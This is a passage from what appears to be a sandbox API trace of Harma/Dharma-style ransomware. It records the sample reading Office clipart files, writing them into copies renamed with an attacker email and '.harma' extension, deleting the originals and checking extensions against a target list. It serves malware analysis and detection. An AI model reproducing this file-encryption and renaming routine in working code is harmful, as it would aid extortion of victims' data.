(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0139.315] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.315] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0139.315] GetLastError () returned 0x0 [0139.316] ReadFile (in: hFile=0x340, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x66dc, lpOverlapped=0x0) returned 1 [0139.346] WriteFile (in: hFile=0x330, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x66e0, lpOverlapped=0x0) returned 1 [0139.347] ReadFile (in: hFile=0x340, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.347] WriteFile (in: hFile=0x330, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.347] SetEndOfFile (hFile=0x330) returned 1 [0139.353] CloseHandle (hObject=0x330) returned 1 [0139.355] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.355] SetEndOfFile (hFile=0x340) returned 1 [0139.357] CloseHandle (hObject=0x340) returned 1 [0139.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0139.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0139.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0139.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0139.367] lstrlenW (lpString=".doc") returned 4 [0139.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.367] lstrlenW (lpString=".docx") returned 5 [0139.367] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.367] lstrlenW (lpString=".pdf") returned 4 [0139.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.367] lstrlenW (lpString=".xls") returned 4 [0139.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.367] lstrlenW (lpString=".xlsx") returned 5 [0139.367] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.367] lstrlenW (lpString=".ppt") returned 4 [0139.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0139.367] lstrlenW (lpString=".zip") returned 4 [0139.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.367] lstrlenW (lpString=".rar") returned 4 [0139.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.367] lstrlenW (lpString=".bz2") returned 4 [0139.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.367] lstrlenW (lpString=".7z") returned 3 [0139.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0139.367] lstrlenW (lpString=".dbf") returned 4 [0139.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0139.368] lstrlenW (lpString=".1cd") returned 4 [0139.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0139.368] lstrlenW (lpString=".jpg") returned 4 [0139.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0139.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0139.368] lstrlenW (lpString=".doc") returned 4 [0139.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.368] lstrlenW (lpString=".docx") returned 5 [0139.368] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.368] lstrlenW (lpString=".pdf") returned 4 [0139.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.368] lstrlenW (lpString=".xls") returned 4 [0139.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.368] lstrlenW (lpString=".xlsx") returned 5 [0139.368] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.368] lstrlenW (lpString=".ppt") returned 4 [0139.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0139.368] lstrlenW (lpString=".zip") returned 4 [0139.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.368] lstrlenW (lpString=".rar") returned 4 [0139.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.369] lstrlenW (lpString=".bz2") returned 4 [0139.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.369] lstrlenW (lpString=".7z") returned 3 [0139.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0139.369] lstrlenW (lpString=".dbf") returned 4 [0139.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0139.369] lstrlenW (lpString=".1cd") returned 4 [0139.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0139.369] lstrlenW (lpString=".jpg") returned 4 [0139.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.369] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0139.369] lstrlenW (lpString="AN01545_.WMF") returned 12 [0139.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.370] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7372) returned 1 [0139.370] CloseHandle (hObject=0x350) returned 1 [0139.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0139.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0139.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.370] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.371] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0139.533] GetLastError () returned 0x0 [0139.533] ReadFile (in: hFile=0x350, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1ccc, lpOverlapped=0x0) returned 1 [0139.534] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1cd0, lpOverlapped=0x0) returned 1 [0139.536] ReadFile (in: hFile=0x350, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.536] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.536] SetEndOfFile (hFile=0x210) returned 1 [0139.536] CloseHandle (hObject=0x210) returned 1 [0139.536] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.536] SetEndOfFile (hFile=0x350) returned 1 [0139.538] CloseHandle (hObject=0x350) returned 1 [0139.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0140.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0140.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0140.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0140.305] lstrlenW (lpString=".doc") returned 4 [0140.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.305] lstrlenW (lpString=".docx") returned 5 [0140.305] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.305] lstrlenW (lpString=".pdf") returned 4 [0140.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.305] lstrlenW (lpString=".xls") returned 4 [0140.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.305] lstrlenW (lpString=".xlsx") returned 5 [0140.305] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.305] lstrlenW (lpString=".ppt") returned 4 [0140.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0140.306] lstrlenW (lpString=".zip") returned 4 [0140.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.306] lstrlenW (lpString=".rar") returned 4 [0140.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.306] lstrlenW (lpString=".bz2") returned 4 [0140.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.306] lstrlenW (lpString=".7z") returned 3 [0140.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0140.306] lstrlenW (lpString=".dbf") returned 4 [0140.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0140.306] lstrlenW (lpString=".1cd") returned 4 [0140.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0140.306] lstrlenW (lpString=".jpg") returned 4 [0140.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0140.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0140.306] lstrlenW (lpString=".doc") returned 4 [0140.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.306] lstrlenW (lpString=".docx") returned 5 [0140.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.306] lstrlenW (lpString=".pdf") returned 4 [0140.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.306] lstrlenW (lpString=".xls") returned 4 [0140.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.306] lstrlenW (lpString=".xlsx") returned 5 [0140.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.307] lstrlenW (lpString=".ppt") returned 4 [0140.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0140.307] lstrlenW (lpString=".zip") returned 4 [0140.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.307] lstrlenW (lpString=".rar") returned 4 [0140.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.307] lstrlenW (lpString=".bz2") returned 4 [0140.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.307] lstrlenW (lpString=".7z") returned 3 [0140.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0140.307] lstrlenW (lpString=".dbf") returned 4 [0140.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0140.307] lstrlenW (lpString=".1cd") returned 4 [0140.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0140.307] lstrlenW (lpString=".jpg") returned 4 [0140.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.307] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0140.307] lstrlenW (lpString="AN04134_.WMF") returned 12 [0140.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0140.353] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3416) returned 1 [0140.353] CloseHandle (hObject=0x354) returned 1 [0140.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0140.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0140.418] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.418] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0140.418] GetLastError () returned 0x0 [0140.418] ReadFile (in: hFile=0x368, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xd58, lpOverlapped=0x0) returned 1 [0140.620] WriteFile (in: hFile=0x36c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xd60, lpOverlapped=0x0) returned 1 [0140.621] ReadFile (in: hFile=0x368, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.621] WriteFile (in: hFile=0x36c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.622] SetEndOfFile (hFile=0x36c) returned 1 [0141.072] CloseHandle (hObject=0x36c) returned 1 [0141.077] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.077] SetEndOfFile (hFile=0x368) returned 1 [0141.704] CloseHandle (hObject=0x368) returned 1 [0141.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0141.765] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0141.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0141.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0141.765] lstrlenW (lpString=".doc") returned 4 [0141.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.765] lstrlenW (lpString=".docx") returned 5 [0141.765] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.765] lstrlenW (lpString=".pdf") returned 4 [0141.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.765] lstrlenW (lpString=".xls") returned 4 [0141.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.766] lstrlenW (lpString=".xlsx") returned 5 [0141.766] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.766] lstrlenW (lpString=".ppt") returned 4 [0141.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0141.766] lstrlenW (lpString=".zip") returned 4 [0141.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.766] lstrlenW (lpString=".rar") returned 4 [0141.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.766] lstrlenW (lpString=".bz2") returned 4 [0141.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.766] lstrlenW (lpString=".7z") returned 3 [0141.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0141.766] lstrlenW (lpString=".dbf") returned 4 [0141.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0141.766] lstrlenW (lpString=".1cd") returned 4 [0141.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0141.766] lstrlenW (lpString=".jpg") returned 4 [0141.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0141.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0141.767] lstrlenW (lpString=".doc") returned 4 [0141.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.767] lstrlenW (lpString=".docx") returned 5 [0141.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.767] lstrlenW (lpString=".pdf") returned 4 [0141.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.767] lstrlenW (lpString=".xls") returned 4 [0141.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.767] lstrlenW (lpString=".xlsx") returned 5 [0141.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.767] lstrlenW (lpString=".ppt") returned 4 [0141.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0141.767] lstrlenW (lpString=".zip") returned 4 [0141.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.767] lstrlenW (lpString=".rar") returned 4 [0141.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.767] lstrlenW (lpString=".bz2") returned 4 [0141.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.767] lstrlenW (lpString=".7z") returned 3 [0141.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0141.767] lstrlenW (lpString=".dbf") returned 4 [0141.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0141.768] lstrlenW (lpString=".1cd") returned 4 [0141.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0141.768] lstrlenW (lpString=".jpg") returned 4 [0141.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.768] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0141.768] lstrlenW (lpString="AN04235_.WMF") returned 12 [0141.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0141.781] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7804) returned 1 [0141.781] CloseHandle (hObject=0x330) returned 1 [0141.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0141.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0141.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0141.788] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.788] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 